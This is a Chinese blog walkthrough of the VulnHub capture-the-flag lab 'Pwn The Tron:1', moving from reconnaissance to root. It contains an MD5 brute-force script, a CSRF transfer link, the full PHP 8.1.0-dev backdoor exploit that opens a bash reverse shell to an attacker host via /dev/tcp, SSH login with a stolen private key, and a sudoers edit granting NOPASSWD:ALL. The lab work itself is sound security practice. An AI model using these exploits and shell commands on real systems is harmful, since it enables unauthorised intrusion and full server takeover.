vulnhub刷题记录(PwnTheTron:1)

信息安全不简单鸭 2024-05-27 04:52:32

英文名称:Pwn The Tron:1中文名称:Pwn The Tron:1发布日期:2021 年 7 月 2 日难度:容易描述:类型:线性CTF下载地址:https://www.vulnhub.com/entry/pwn-the-tron-1,721/

ailx10

网络安全优秀回答者

网络安全硕士

去咨询

1、主机发现

主机发现

2、端口扫描

端口扫描

3、目录发现

目录发现

4、访问页面

访问页面

5、访问图片,其中图3、图4可能隐藏信息,但是暴力破解不了密码毁灭的故事塞伯坦曾经是独特的自主机器人 Onganism 的所在地。自从汽车人和霸天虎对塞伯坦的反对以来,已经有数千年的时间了。 它摧毁了地球,使它变得荒凉和死亡。

访问图片1

他们对蓝色星球赞叹不已,继续在宇宙中战斗。擎天柱,汽车人的领袖,承诺保护人类免受麦加农的邪恶愤怒。虽然在麻木上有所减弱,但汽车人还是将那些站在毁灭和生活之间的无名之徒安然无恙。

访问图片2

通过 Project iacon,威震天发现了大约 4 个 Omega Keys。 如果在塞伯坦的Omega Lock内使用这些,地球就可以复活。 此外,Omega Lock可以用来改造地球,从而消灭人类......!

访问图片3

你是杰克。 协助汽车人阻止威震天获得所有 4 把钥匙。 你准备好执行任务了吗?!前往秘密汽车人基地!

访问图片4

6、访问Travel ,F12查看源代码,需要计算坐标擎天柱能够找到它们似乎在同一个地方的 2 个密钥的加密坐标。你(杰克)与大黄蜂和 Arcee 一起被派去获取密钥,然后 Soundwave 能够解密它们!你能找到霸天虎基地来获取 iacon_codes 吗?(霸天虎出于安全考虑可能会删除 iacon 代码,想办法)坐标的加密消息:daab260727e470e56e77ec22e8f3d413解密消息的格式:/iacon_code/国家首都/{纬度_dd.dd-经度_dd.dd}.txt其中,d是数字0-9/iacon_code/(capital of a country)/{Latitude_dd.dd-Longitude_dd.dd}.txt<!-- The Encrypted Message: daab260727e470e56e77ec22e8f3d413 --><!-- @decepticon-base 霸天虎基地 -->

F12 查看源代码

7、寻找霸天虎的基地sherlock deception-basehttps://github.com/decepticon-base/Projects

sherlock 寻找霸天虎的基地

github 基地文件被删了

8、通过 Wayback Machine 查询到github的过去文档,成功恢复 iacon_codeshttps://web.archive.org/web/20210701042239/https://github.com/decepticon-base/Projects/blob/main/iacon/iacon_codes

成功恢复 iacon_codes

9、进行coding,暴力破解哈希值# -*- coding: utf-8 -*-# @Time : 2022/8/30 9:38 PM# @Author : ailx10# @File : code.pyimport hashlibf1 = open("iacon_codes","r")f2 = open("capital","r")codes = f1.readlines()capitals = f2.readlines()for code in codes: code = code.strip() for capital in capitals: capital = capital.strip() for i in range(10,100): for j in range(10,100): str_1 = "/{}/{}/Latitude_{}.{}-Longitude_{}.{}.txt".format(code,capital,i,j,i,j) str_2 = hashlib.md5(str_1.encode()) if str_2.hexdigest() == "daab260727e470e56e77ec22e8f3d413": print(str_1)

破解哈希

10、访问页面,拿到 flag1/R3LIC-1337/Tokyo/Latitude_95.37-Longitude_95.37.txt恭喜通过第一阶段!您的勇气让我们获得了 4 把钥匙中的 2 把!这是您的第一个标志:Flag1{873b375210b4297e9bdea1ed183c2da5}不过坏消息:/威震天有两把钥匙可供使用。 Prime 和 Bumblebee 从叛徒和威震天的前指挥官红蜘蛛那里得到了有关他隐藏在淘汰赛商店最昂贵物品中的秘密物品的信息。 该项目具有管理员凭据。商店链接:/W4RSHIP_Sh0P.php祝你好运!

访问页面,拿到 flag1

11、访问页面,我们需要获得Energon 币,购买秘密资料淘汰赛正在努力完成公式!这可能会改变游戏规则。红蜘蛛指挥官又出轨了。他被禁止进入这个区域。除非得到威震天勋爵的命令,否则不要进入存放暗能量的区域。关于霸天虎杂货店这是你自己的杂货店。 购买energon,预约医生,继续看公告板! 目前,只有管理员可以在账户之间转移 Energon 币。 很快,这将提供给所有人! 以下是您可以购买的顶级商品。威震天的得力助手。 有钱,兼职叛徒,狡猾而古怪。只关心他自己和他的画。 不幸的是,他是这里的管理员。根本不会说话。 太聪明了,不会被欺骗,永远忠于威震天。我们的管理员会点击任何以 http 或 https 开头的链接,以防您想分享一些甜蜜信息的链接!

访问页面

检查源代码:发现管理员用户名 admin_boss、lord_starscream、soundwave

12、注册网站,并登录,发现我们没有钱

注册网站

登录

将硬币转移给有需要的朋友?可用余额:0回到商店退出您的帐户

因为我们没有钱,转账不了

因为没有权力,admin_boss 也不给我们转账

13、可以采用CSRF策略,让管理员帮我们转账我们的管理员会点击任何以 http 或 https 开头的链接,以防您想分享一些甜蜜信息的链接!留言内容如下:admin_bosshttp://192.168.199.210/W4RSHIP_Sh0P_transfer.php?to=ailx10&amount=9999&from=lord_starscream

留言内容

喜提巨款

14、购买秘密资料

由于谷歌js访问不了,我们无法在页面上提交购买请求,咱们直接写一个POST请求,得到秘密

Purchase Successful!Megatron Login Panel URL: /M3G4TR0N_SUPR3M3/login.php Username = L0RD_M3G4Tr0N Password = freakishlylongpasswordforl0gin

POST请求代码如下:

# -*- coding: utf-8 -*-# @Time : 2022/8/30 11:19 PM# @Author : ailx10# @File : post.pyimport requestsurl = "http://192.168.199.210/W4RSHIP_Sh0P_buy.php"data= { "itemid": 2, "price": 9999.00 }cookies = {"PHPSESSID":"kl90bbdk93qni24gpld6pnc3ls"}r = requests.post(url=url,data=data,cookies=cookies)print(r.text)15、登录页面,获得 flag2

登录页面

获得 flag2

16、检索PHP 8.1.0-dev 漏洞

检索PHP 8.1.0-dev 漏洞

17、增加cookie,尝试反弹shell

尝试反弹shell

反弹成功

反弹shell的代码:

# Exploit Title: PHP 8.1.0-dev Backdoor Remote Code Execution# Date: 23 may 2021# Exploit Author: flast101# Vendor Homepage: https://www.php.net/# Software Link: # - https://hub.docker.com/r/phpdaily/php# - https://github.com/phpdaily/php# Version: 8.1.0-dev# Tested on: Ubuntu 20.04# CVE : N/A# References:# - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a# - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md"""Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.pyContact: flast101.sec@gmail.comAn early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.The following exploit uses the backdoor to provide a pseudo shell ont the host.Usage: python3 revshell_php_8.1.0-dev.py <target-ip> <attacker-ip> <attacker-port>"""#!/usr/bin/env python3import os, sys, argparse, requestsrequest = requests.Session()def check_target(args): cookies = {"PHPSESSID":"kl90bbdk93qni24gpld6pnc3ls"} response = request.get(args.url,cookies=cookies) for header in response.headers.items(): if "PHP/8.1.0-dev" in header[1]: return True return Falsedef reverse_shell(args): payload = 'bash -c \"bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1\"' injection = request.get(args.url, headers={"User-Agentt": "zerodiumsystem('" + payload + "');"}, allow_redirects = False)def main(): parser = argparse.ArgumentParser(description="Get a reverse shell from PHP 8.1.0-dev backdoor. Set up a netcat listener in another shell: nc -nlvp <attacker PORT>") parser.add_argument("url", metavar='<target URL>', help="Target URL") parser.add_argument("lhost", metavar='<attacker IP>', help="Attacker listening IP",) parser.add_argument("lport", metavar='<attacker PORT>', help="Attacker listening port") args = parser.parse_args() if check_target(args): reverse_shell(args) else: print("Host is not available or vulnerable, aborting...") exit if __name__ == "__main__": main()18、找到了第三个flag,但是没有权限查看

找到了第三个flag,但是没有权限查看

19、检查 soundwave 获得私钥

获得私钥

20、复制私钥,尝试ssh登录mv identity ssh_key.pemchmod 600 ssh_key.pemssh -i ssh_key.pem soundwave@192.168.199.210

ssh免密登录成功

21、拿到第三个flag

拿到第三个flag

22、我们仅仅可以使用部分特权/usr/bin/vim /var/Decepticon/*

部分特权

23、设置sudo无密码#soundwave ALL= NOPASSWD: /usr/bin/vim /var/Decepticon/*soundwave ALL=(ALL) NOPASSWD:ALL

设置sudo无密码

24、拿下最后一个flag

拿下最后一个flag

到此,实验完成~

发布于 2022-08-31 00:30

0 阅读:0

信息安全不简单鸭

简介:感谢大家的关注